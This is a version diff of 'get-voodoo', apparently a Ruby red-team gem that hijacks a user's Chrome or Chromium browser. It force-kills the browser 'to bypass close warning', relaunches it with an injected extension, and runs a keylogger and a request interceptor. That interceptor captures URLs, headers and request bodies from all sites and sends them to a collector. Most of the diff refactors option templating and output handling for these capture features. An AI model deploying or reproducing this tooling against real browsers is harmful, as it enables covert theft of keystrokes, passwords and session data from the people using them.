get-voodoo 0.0.4 → 0.0.5

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: bf52ab53234e0fe391f2fe8231ebd422bdaa75d4ede9a3fcd2a92417865f0f44
-  data.tar.gz: 7b6c2e3ff3c2bf4ce4267c709afe5f51d190c185fedfa9777842aafb193ca560
+  metadata.gz: b45cd5bfcb3fca16181b82d0953f164918c07392eb18f8aa4d55478521fd2154
+  data.tar.gz: a7fee0193c268c0a702ca77ec8f49537cb3fe094adf00638c0a33fc6cb7ebd0a
 SHA512:
-  metadata.gz: 9c690a0cc390cad10c6b34e31093a35a805c11d6e1f98b20a0b2c94168e9c1356c9255387af4527e1340d8cbedd502dabc4d9756c1b4230da408bd33c2615d4e
-  data.tar.gz: c13bdf316ab82d192c48871336dd59d00b49596cd6894aadb0b2c23b2744bf49faafcf8b9c5504523f9168efdef33f65f823402c5a48d52aa2740d9082688462
+  metadata.gz: dc81a7f05068b804b8a7eed2a1d95533c7733e7bb41bb0efe7fffb58e722379d8dc7f6e7d6fa7673be2598f9a068640112108678ccef6cda6834072ec6347d02
+  data.tar.gz: 6524d367047d65af47ebc1a290e012c58303e5b4e6d8d2911b90ec23ff4b4f7b9fc6f50cbf34fa2374a24d72845a223fca1679517a15895b98a7fca00265d436

data/lib/voodoo/browser.rb

@@ -19,15 +19,16 @@ module VOODOO
             @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
         end
 
-        def keylogger(matches: '*://*/*')
+        def keylogger(matches: '*://*/*', max_events: nil)
             add_script(matches: matches,
-                file: File.join(__dir__, 'js/keylogger.js')
+                file: File.join(__dir__, 'js/keylogger.js'),
+                max_events: max_events
             ) do |event|
                 yield event
             end
         end
 
-        def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
+        def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
             options = {
                 matches: matches,
                 url_include: url_include,
@@ -37,6 +38,7 @@ module VOODOO
 
             add_script(options: options,
                        background: true,
+                       max_events: max_events,
                        file: File.join(__dir__, 'js/intercept.js')
             ) do |event|
                 yield event
@@ -48,13 +50,14 @@ module VOODOO
             @extension.manifest[:permissions] += permissions
         end
 
-        def hijack(urls)
+        def hijack(urls = [])
             # kill the browser process twise, to bypass close warning
             `pkill -a -i "#{@process_name}"`
             `pkill -a -i "#{@process_name}"`
             sleep 0.1
 
             urls = [urls] unless urls.kind_of? Array
+            urls = urls.uniq
 
             profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
             `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
@@ -91,7 +94,7 @@ module VOODOO
             self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
         end
 
-        def add_script(content: nil, file: nil, matches: nil, options: {}, background: false)
+        def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
             if matches != nil && background != false
                 puts 'WARNING: matches is ignored when background is set to true.'
             end
@@ -104,14 +107,48 @@ module VOODOO
                 raise StandardError.new(':content or :file argument are required')
             end
 
+            event_count = 0
+
             if block_given?
                 collector = Collector.new
-                collector.on_json {|jsond| yield jsond }
+                collector.on_json {|jsond|
+                    yield jsond
+                    if (max_events != nil)
+                        event_count += 1
+                        if event_count >= max_events.to_i
+                            collector.thread.kill
+                        end
+                    end
+                }
                 @collector_threads.push(collector.thread)
                 options[:collector_url] = collector.url
             end
 
-            content = build_js('voodoo.js', with_options: options) + "\n" + content
+            options.keys.each do |key|
+                options[(key.to_sym rescue key) || key] = options.delete(key)
+            end
+
+            voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
+            content = voodoo_js + "\n" + content
+
+            # find variables
+            variables = content.scan(/%{[a-z_0-9]+}/i)
+            
+            for var in variables
+                # remove %{}
+                var_sym = var[2...(var.length)-1].to_sym
+                if !options[var_sym]
+                    # when option is missing set it to nil
+                    options[var_sym] = nil
+                else
+                    if !options[var_sym].kind_of? String
+                        content = content.gsub("\"#{var}\"", var)
+                        options[var_sym] = JSON.generate(options[var_sym])
+                    end
+                end
+            end
+
+            content = content % options
             
             if background == true
                 return @extension.add_background_script(content: content)
@@ -132,14 +169,6 @@ module VOODOO
             @collector_threads.push(collector.thread)
             return collector
         end
-
-        def build_js(file, with_options: nil)
-            js = File.read(File.join(__dir__, 'js', file))
-            if with_options != nil
-                js = js.gsub('$OPTIONS', JSON.generate(with_options))
-            end
-            return js
-        end
     end
 
 end

data/lib/voodoo/cli.rb

@@ -1,6 +1,7 @@
 require 'thor'
 require 'json'
 require 'yaml'
+require 'voodoo/output'
 require 'voodoo/browser'
 
 module VOODOO
@@ -17,169 +18,123 @@ module VOODOO
         option :url_include, :type => :string, :aliases => :u, :default => nil
         option :body_include, :type => :string, :aliases => :b, :default => nil
         option :header_exists, :type => :string, :aliases => :h, :default => nil
-        option :output, :type => :string, :aliases => :o, :default => 'stdout',:desc => '<path>, stdout'
+        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
         option :urls, :type => :array, :aliases => :x, :default => []
         option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        desc 'intercept', 'intercept browser requests'
+        option :max_events, :type => :numeric, :default => nil
+        desc 'intercept', 'Intercept browser requests'
         def intercept
             browser = get_browser options[:browser]
-            
-            output = options[:output]
-
-            if output != 'stdout'
-                output = open(output, 'a')
-            end
+            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
 
             browser.intercept(matches: options[:matches],
                               url_include: options[:url_include],
-                              body_include: options[:body_include]) do |event|
-                req = event[:payload]
-                
-                if output != 'stdout'
-                    output.puts JSON.generate(req)
-                    output.close
-                    output = open(output, 'a')
-                else
-                    puts "#{req[:method]} #{req[:url]}"
-                    if req[:body]
-                        body = req[:body]
-                        if body.length > 100
-                            body = body[0...97] + '...'
-                        end
-                        puts "BODY: #{body}"
-                    end
-                end
+                              body_include: options[:body_include],
+                              max_events: options[:max_events]) do |event|
+                output_handler.handle(event)
             end
 
-            browser.hijack url: options[:site]
+            browser.hijack options[:urls]
         end
 
         option :urls, :type => :array, :aliases => :x, :default => []
-        option :output, :type => :string, :aliases => :o, :desc => '<path>, stdout', :default => nil
-        option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
+        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
+        option :params, :type => :hash,:aliases => :p, :default => {}
         option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
         option :permissions, :type => :array, :aliases => :p, :default => []
-        desc 'script <js/path>', 'add a content script'
+        option :max_events, :type => :numeric, :default => nil
+        desc 'script <js/path>', 'Add a content script'
         def script(path_or_js)
             browser = get_browser options[:browser]
             browser.add_permissions options[:permissions]
+            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'script')
 
-            output = options[:output]
+            file = nil
+            content = nil
 
-            if output != nil && output != 'stdout'
-                output = open(output, 'a')
+            if File.exists? path_or_js
+                file = path_or_js
+            else
+                content = path_or_js
             end
 
-            if File.exists? path_or_js
-                if output != nil
-                    browser.add_script file: path_or_js, options: options[:js_vars] do |event|
-                        if output != 'stdout'
-                            output.puts JSON.generate(event)
-                        else
-                            puts "#{event[:origin]}: #{event[:payload]}"
-                        end
-                    end
-                else
-                    browser.add_script file: path_or_js, options: options[:js_vars]
+            if output_handler.writable
+                browser.add_script file: file, content: content, options: options[:params], max_events: options[:max_events] do |event|
+                    output_handler.handle(event)
                 end
             else
-                if output != nil
-                    browser.add_script content: path_or_js, options: options[:js_vars] do |event|
-                        if output != 'stdout'
-                            output.puts JSON.generate(event)
-                        else
-                            puts "[+] #{event[:origin]} => #{event[:payload]}"
-                        end
-                    end
-                else
-                    browser.add_script content: path_or_js, options: options[:js_vars]
-                end
+                browser.add_script file: file, content: content, options: options[:params]
             end
 
-            browser.hijack url: options[:site]
+            browser.hijack options[:urls]
         end
         
         option :urls, :type => :array, :aliases => :x, :default => []
-        option :output, :type => :string, :aliases => :o, :default => 'stdout', :desc => '<path>, stdout'
+        option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
         option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
         option :browser, :type => :string, :aliases => :b, :default => 'chrome'
-        desc 'keylogger', 'records user keystrokes'
+        option :max_events, :type => :numeric, :default => nil
+        desc 'keylogger', 'Records user keystrokes'
         def keylogger
             browser = get_browser options[:browser]
-            output = options[:output]
-
-            if output != 'stdout'
-                output = open(output, 'a')
+            output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'keylogger')
+            browser.keylogger(matches: options[:matches], max_events: options[:max_events]) do |event|
+                output_handler.handle(event)
             end
-
-            browser.keylogger(matches: options[:matches]) do |event|
-                if output != 'stdout'
-                    output.puts JSON.generate(event)
-                else
-                    print event[:payload][:log]
-                end
-            end
-
-            browser.hijack url: options[:site]
+            browser.hijack options[:urls]
         end
 
         option :browser, :type => :string, :aliases => :b, :default => nil
-        option :output, :type => :string, :aliases => :o, :default => 'none', :desc => 'none, <path>, stdout, stdout:payload'
+        option :format, :type => :string, :aliases => :f, :default => 'none', :desc => 'json, payload, none'
+        option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
         option :urls, :type => :array, :aliases => :x, :default => []
-        option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
-        desc 'template <path>', 'execute a VOODOO template'
+        option :params, :type => :hash,:aliases => :p, :default => {}
+        option :max_events, :type => :numeric, :default => nil
+        desc 'template <path>', 'Execute a VOODOO template'
         def template(path)
             pwd = Dir.pwd
-            output = options[:output]
 
             if File.directory? path
-                pwd = File.expand_path File.join(pwd, path)
-                template = YAML.load_file(File.join(path, 'voodoo.ymal'))
+                pwd = File.expand_path(File.join(pwd, path))
+                template = YAML.load_file(File.join(path, 'voodoo.yaml'))
             else
-                pwd = File.expand_path File.join(pwd, File.dirname(path))
+                pwd = File.expand_path(File.join(pwd, File.dirname(path)))
                 template = YAML.load_file(path)
             end
 
-            template = YAML.load_file(path)
-
-            if output == 'none' && template['output']
-                output = template['output']
-            end
-
             browser_inst = template['browser'] || {}
-
             browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
 
             if template['permissions']
                 browser.add_permissions template['permissions']
             end
-                
-            if !['stdout', 'stdout:payload', 'none'].include? output
-                output = open(output, 'a')
+            
+            output_format = options[:format]
+            is_default = output_format == 'none'
+
+            if is_default && template['format']
+                output_format = template['format']
             end
 
-            template['scripts'].each do |script| 
+            output_handler = Output.new(file: options[:output], in_format: output_format, for_command: 'template')
+
+            template['scripts'].each do |script|
                 file = File.expand_path(File.join(pwd, script['file'])) if script['file']
                 content = script['content']
                 matches = script['matches']
-                js_vars = options[:js_vars]
                 background = script['background'] || false
                 
-                if output != 'none'
-                    browser.add_script(matches: matches, file: file, content: content, options: js_vars, background: background) do |event|
-                    case output
-                        when 'stdout'
-                            puts JSON.generate(event)
-                        when 'stdout:payload'
-                            puts JSON.generate(event[:payload])
-                        else
-                            output.puts JSON.generate(event)
-                        end
+                if output_handler.writable
+                    browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
+                        output_handler.handle(event)
                     end
                 else
-                    browser.add_script(matches: matches,content: content, options: js_vars, background: background)
+                    browser.add_script(matches: matches,content: content, options: options[:params], background: background)
                 end
             end
 
@@ -189,7 +144,7 @@ module VOODOO
                 urls = browser_inst['urls']
             end
 
-            browser.hijack urls.uniq
+            browser.hijack urls
         end
 
         def self.exit_on_failure?

data/lib/voodoo/js/intercept.js

@@ -2,8 +2,14 @@
  * VOODOO Intercept
  */
 (function () {
-    let options = VOODOO.options || {};
-    let matches = options.matches || ["<all_urls>"];
+    let options = {
+        body_include: "%{body_include}",
+        url_include: "%{url_include}",
+        collector_url: "%{collector_url}",
+        header_exists: "%{header_exists}"
+    };
+
+    let matches = "%{matches}";
 
     if (options.header_exists) {
         options.header_exists = options.header_exists.toLowerCase();
@@ -13,6 +19,14 @@
         matches = [matches];
     }
 
+    function parseBody(body) {
+        try {
+            return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
+        } catch {
+            return "";
+        }
+    }
+
     const requests = new Map();
 
     chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
@@ -48,13 +62,20 @@
             }
 
             if (options.url_include && request.url.indexOf(options.url_include) === -1) {
-                return;
+                return { cancel: false };
             }
 
-            try {
-                request.body = request.requestBody.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
+            if (options.body_include && !request.requestBody) {
+                return { cancel: false };
+            }
+
+            if (request.requestBody) {
+                request.body = parseBody(request.requestBody);
                 delete request.requestBody;
-            } catch { }
+                if (options.body_include && request.body.indexOf(options.body_include) === -1) {
+                    return { cancel: false };
+                }
+            }
 
             requests.set(request.requestId, request);
             return { cancel: false };

data/lib/voodoo/js/keylogger.js

@@ -24,7 +24,7 @@
         if (output.length === 0) {
             return;
         }
-        VOODOO.send({ log: output });
+        VOODOO.send(output);
         output = "";
     }
 

data/lib/voodoo/js/voodoo.js

@@ -3,7 +3,7 @@ if (!sessionStorage.tab_uuid) {
 }
 
 const VOODOO = {
-    options: $OPTIONS || {},
+    options: { collector_url: "%{collector_url}" },
     send(payload) {
         if (!VOODOO.options.collector_url) {
             return;

data/lib/voodoo/output.rb

@@ -0,0 +1,60 @@
+module VOODOO
+
+    class Output
+        attr_reader :writable
+
+        def initialize(file: nil, in_format: nil, for_command: nil)
+            @file = nil
+            @format = in_format
+            @command = for_command
+            @writable = in_format != 'none'
+            @file = open(file, 'a') if file
+        end
+
+        def write(any, with_print: false)
+            if @file
+                @file.puts any
+            else
+                if with_print
+                    print any
+                else
+                    puts any
+                end
+            end
+        end
+
+        def handle(event)
+            if !@writable
+                return
+            end
+
+            case @format
+                when 'pretty'
+                    case @command
+                        when 'keylogger'
+                            write event[:payload], with_print: true
+                        when 'intercept'
+                            req = event[:payload]
+                            write "#{req[:method]} #{req[:url]}"
+                            req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
+                            
+                            if req[:body]
+                                write "BODY: #{event[:payload][:body]}"
+                            end 
+                        else
+                            write JSON.generate(event[:payload])
+                    end
+                when 'json'
+                    write JSON.generate(event)
+                when 'payload'
+                    write JSON.generate(event[:payload])
+                else
+                    write JSON.generate(event)
+            end
+
+            true
+        end
+
+    end
+
+end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: get-voodoo
 version: !ruby/object:Gem::Version
-  version: 0.0.4
+  version: 0.0.5
 platform: ruby
 authors:
 - Ron Masas
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2022-03-11 00:00:00.000000000 Z
+date: 2022-03-12 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: thor
@@ -83,6 +83,7 @@ files:
 - lib/voodoo/js/intercept.js
 - lib/voodoo/js/keylogger.js
 - lib/voodoo/js/voodoo.js
+- lib/voodoo/output.rb
 homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
 licenses:
 - GPL-2.0